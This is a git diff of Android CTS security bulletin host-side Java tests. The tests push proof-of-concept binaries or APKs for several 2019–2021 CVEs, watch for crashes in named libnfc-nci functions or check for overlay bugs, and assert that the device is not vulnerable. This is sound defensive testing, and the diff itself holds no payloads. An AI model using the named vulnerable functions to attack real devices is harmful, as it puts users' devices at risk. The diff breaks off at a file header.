b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2019_2017 extends SecurityTestCase { + + /** + * b/121035711 + * Vulnerability Behaviour: SIGABRT in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 121035711) + @Test + public void testPocCVE_2019_2017() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); + pocPusher.only64(); + String signals[] = {CrashUtils.SIGABRT}; + String binaryName = "CVE-2019-2017"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci", + "rw_t2t_handle_tlv_detect_rsp")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java new file mode 100644 index 00000000000..b65faeef587 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java @@ -0,0 +1,57 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2019_2020 extends SecurityTestCase { + + /** + * b/116788646 + * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: llcp_dlc_proc_rx_pdu (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 116788646) + @Test + public void testPocCVE_2019_2020() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); + pocPusher.only64(); + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2019-2020"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci", + "llcp_dlc_proc_rx_pdu")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); + testConfig.config.checkMinAddress(false); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java new file mode 100644 index 00000000000..21b22856fcc --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2019_2031 extends SecurityTestCase { + + /** + * b/120502559 + * Vulnerability Behaviour: SIGABRT in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: rw_t3t_act_handle_check_ndef_rsp (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 120502559) + @Test + public void testPocCVE_2019_2031() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); + pocPusher.only64(); + String signals[] = {CrashUtils.SIGABRT}; + String binaryName = "CVE-2019-2031"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci", + "rw_t3t_act_handle_check_ndef_rsp")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java new file mode 100644 index 00000000000..3aa0474a422 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.assertTrue; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2020_0015 extends StsExtraBusinessLogicHostTestBase { + + @AppModeFull + @AsbSecurityTest(cveBugId = 139017101) + @Test + public void testPocCVE_2020_0015() throws Exception { + ITestDevice device = getDevice(); + final String testPkg = "android.security.cts.CVE_2020_0015"; + uninstallPackage(device, testPkg); + + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + installPackage("CVE-2020-0015.apk"); + AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW", + device); + assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java new file mode 100644 index 00000000000..6689459f68a --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.compatibility.common.util.CrashUtils; + +import java.util.Arrays; +import java.util.ArrayList; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2020_0034 extends SecurityTestCase { + + /** + * b/62458770 + * Vulnerability Behaviour: SIGABRT in self + */ + @AsbSecurityTest(cveBugId = 62458770) + @Test + public void testPocCVE_2020_0034() throws Exception { + pocPusher.only32(); + String binaryName = "CVE-2020-0034"; + String inputFiles[] = {"cve_2020_0034.ivf"}; + String signals[] = {CrashUtils.SIGABRT}; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName); + testConfig.inputFiles = Arrays.asList(inputFiles); + testConfig.inputFilesDestination = AdbUtils.TMP_PATH; + testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0]; + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java index 9573b393bf6..2c39674c45f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java @@ -35,9 +35,10 @@ public class CVE_2020_0073 extends SecurityTestCase { @AsbSecurityTest(cveBugId = 147309942) public void testPocCVE_2020_0073() throws Exception { AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); pocPusher.only64(); String binaryName = "CVE-2020-0073"; - String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT}; + String signals[] = {CrashUtils.SIGABRT}; AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName); testConfig.config.setSignals(signals); diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java index a6ae4f823fa..4b1bc22e33f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java @@ -22,7 +22,7 @@ import android.util.Log; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import org.junit.After; import org.junit.Assert; @@ -38,7 +38,7 @@ import org.junit.runner.RunWith; * collected from the hostside and reported accordingly. */ @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0305 extends BaseHostJUnit4Test { +public class CVE_2021_0305 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0305"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0305.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java index af3503ce88d..585d19bfbd2 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java @@ -1,5 +1,5 @@ /** - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -17,21 +17,40 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + @RunWith(DeviceJUnit4ClassRunner.class) public class CVE_2021_0430 extends SecurityTestCase { /** * b/178725766 * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: rw_mfc_handle_read_op (As per AOSP code) */ @Test @AsbSecurityTest(cveBugId = 178725766) public void testPocCVE_2021_0430() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); pocPusher.only64(); - AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0430", null, getDevice()); + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2021-0430"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci", + "rw_mfc_handle_read_op")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java index 5f0c200d1f4..2ae3f0f0d9c 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java @@ -22,7 +22,7 @@ import android.util.Log; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import com.android.tradefed.log.LogUtil.CLog; import org.junit.After; @@ -42,7 +42,7 @@ import static org.hamcrest.CoreMatchers.*; * collected from the hostside and reported accordingly. */ @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0481 extends BaseHostJUnit4Test { +public class CVE_2021_0481 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0481"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0481.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java index db0a1b27cd2..3e6928853de 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java @@ -1,4 +1,4 @@ -/** +/* * Copyright (C) 2021 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); @@ -16,85 +16,43 @@ package android.security.cts; +import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import java.util.regex.Pattern; -import java.util.regex.Matcher; -import org.junit.Test; -import org.junit.runner.RunWith; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; -import static org.hamcrest.core.Is.is; -import static org.junit.Assert.assertThat; +import org.junit.Assert; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0523 extends SecurityTestCase { +public class CVE_2021_0523 extends StsExtraBusinessLogicHostTestBase { + private static final String TEST_PKG = "android.security.cts.cve_2021_0523"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "CVE-2021-0523.apk"; - private static void extractInt(String str, int[] displaySize) { - str = ((str.replaceAll("[^\\d]", " ")).trim()).replaceAll(" +", " "); - if (str.equals("")) { - return; - } - String s[] = str.split(" "); - for (int i = 0; i < s.length; ++i) { - displaySize[i] = Integer.parseInt(s[i]); - } + @Before + public void setUp() throws Exception { + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); } /** * b/174047492 */ - @Test + @AppModeFull @AsbSecurityTest(cveBugId = 174047492) + @Test public void testPocCVE_2021_0523() throws Exception { - final int SLEEP_INTERVAL_MILLISEC = 30 * 1000; - String apkName = "CVE-2021-0523.apk"; - String appPath = AdbUtils.TMP_PATH + apkName; - String packageName = "android.security.cts.cve_2021_0523"; - String crashPattern = - "Device is vulnerable to b/174047492 hence any app with " + - "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen"; - ITestDevice device = getDevice(); - - try { - /* Push the app to /data/local/tmp */ - pocPusher.appendBitness(false); - pocPusher.pushFile(apkName, appPath); - - /* Wake up the screen */ - AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); - AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); - AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); - - /* Install the application */ - AdbUtils.runCommandLine("pm install " + appPath, device); - - /* Grant "Draw over other apps" permission */ - AdbUtils.runCommandLine( - "pm grant " + packageName + " android.permission.SYSTEM_ALERT_WINDOW", device); - - /* Start the application */ - AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice()); - Thread.sleep(SLEEP_INTERVAL_MILLISEC); - - /* Get screen width and height */ - int[] displaySize = new int[2]; - extractInt(AdbUtils.runCommandLine("wm size", device), displaySize); - int width = displaySize[0]; - int height = displaySize[1]; - - /* Give a tap command for center of screen */ - AdbUtils.runCommandLine("input tap " + width / 2 + " " + height / 2, device); - } catch (Exception e) { - e.printStackTrace(); - } finally { - /* Un-install the app after the test */ - AdbUtils.runCommandLine("pm uninstall " + packageName, device); - - /* Detection of crash pattern in the logs */ - String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device); - Pattern pattern = Pattern.compile(crashPattern, Pattern.MULTILINE); - assertThat(crashPattern, pattern.matcher(logcat).find(), is(false)); - } + installPackage(TEST_APP); + AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", + getDevice()); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence")); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java index 34e2ca1ec31..5a7ec8d1c24 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java @@ -20,14 +20,14 @@ import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import org.junit.Assert; import org.junit.Before; import org.junit.runner.RunWith; import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0586 extends BaseHostJUnit4Test { +public class CVE_2021_0586 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.cve_2021_0586"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0586.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java index 0c8f0a9fd1b..eb74b201862 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java @@ -21,7 +21,7 @@ import android.platform.test.annotations.AsbSecurityTest; import android.platform.test.annotations.RequiresDevice; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import java.util.regex.Pattern; import org.junit.Assert; import org.junit.Before; @@ -33,7 +33,7 @@ import static org.junit.Assert.assertThat; import static org.junit.Assume.assumeTrue; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0591 extends BaseHostJUnit4Test { +public class CVE_2021_0591 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0591"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java new file mode 100644 index 00000000000..29fd2b39bf2 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java @@ -0,0 +1,56 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Assert; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0642 extends StsExtraBusinessLogicHostTestBase { + static final String TEST_APP = "CVE-2021-0642.apk"; + static final String TEST_PKG = "android.security.cts.cve_2021_0642"; + static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + + @Before + public void setUp() throws Exception { + ITestDevice device = getDevice(); + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + uninstallPackage(device, TEST_PKG); + } + + /** + * b/185126149 + */ + @AppModeFull + @AsbSecurityTest(cveBugId = 185126149) + @Test + public void testPocCVE_2021_0642() throws Exception { + installPackage(TEST_APP); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java index f5f6b8b19b0..26bba4a6d50 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java @@ -19,14 +19,14 @@ package android.security.cts; import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import org.junit.Assert; import org.junit.Before; import org.junit.runner.RunWith; import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0685 extends BaseHostJUnit4Test { +public class CVE_2021_0685 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.cve_2021_0685"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0685.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java index 9b592bdcbbd..bf261fd0eab 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java @@ -22,7 +22,7 @@ import android.util.Log; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import com.android.tradefed.log.LogUtil.CLog; import org.junit.After; @@ -38,7 +38,7 @@ import static org.hamcrest.CoreMatchers.*; * Test installs sample app and then tries to overwrite *.apk file */ @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0691 extends BaseHostJUnit4Test { +public class CVE_2021_0691 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0691"; private static final String TEST_APP = "CVE-2021-0691.apk"; private static final String DEVICE_TMP_DIR = "/data/local/tmp/"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java index 5f13cf6feec..2b7ad1452d2 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java @@ -19,13 +19,13 @@ package android.security.cts; import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0693 extends BaseHostJUnit4Test { +public class CVE_2021_0693 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0693"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java index c46bedeb2f7..fabaf89437a 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java @@ -20,13 +20,13 @@ import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import org.junit.Before; import org.junit.runner.RunWith; import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0706 extends BaseHostJUnit4Test { +public class CVE_2021_0706 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0706"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java index 27900e19fcb..760c265fe09 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java @@ -20,7 +20,7 @@ import android.platform.test.annotations.AppModeFull; import android.util.Log; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import com.android.tradefed.log.LogUtil.CLog; import org.junit.After; import org.junit.Assert; @@ -30,7 +30,7 @@ import org.junit.runner.RunWith; import static org.junit.Assert.*; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0921 extends BaseHostJUnit4Test { +public class CVE_2021_0921 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0921"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0921.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java new file 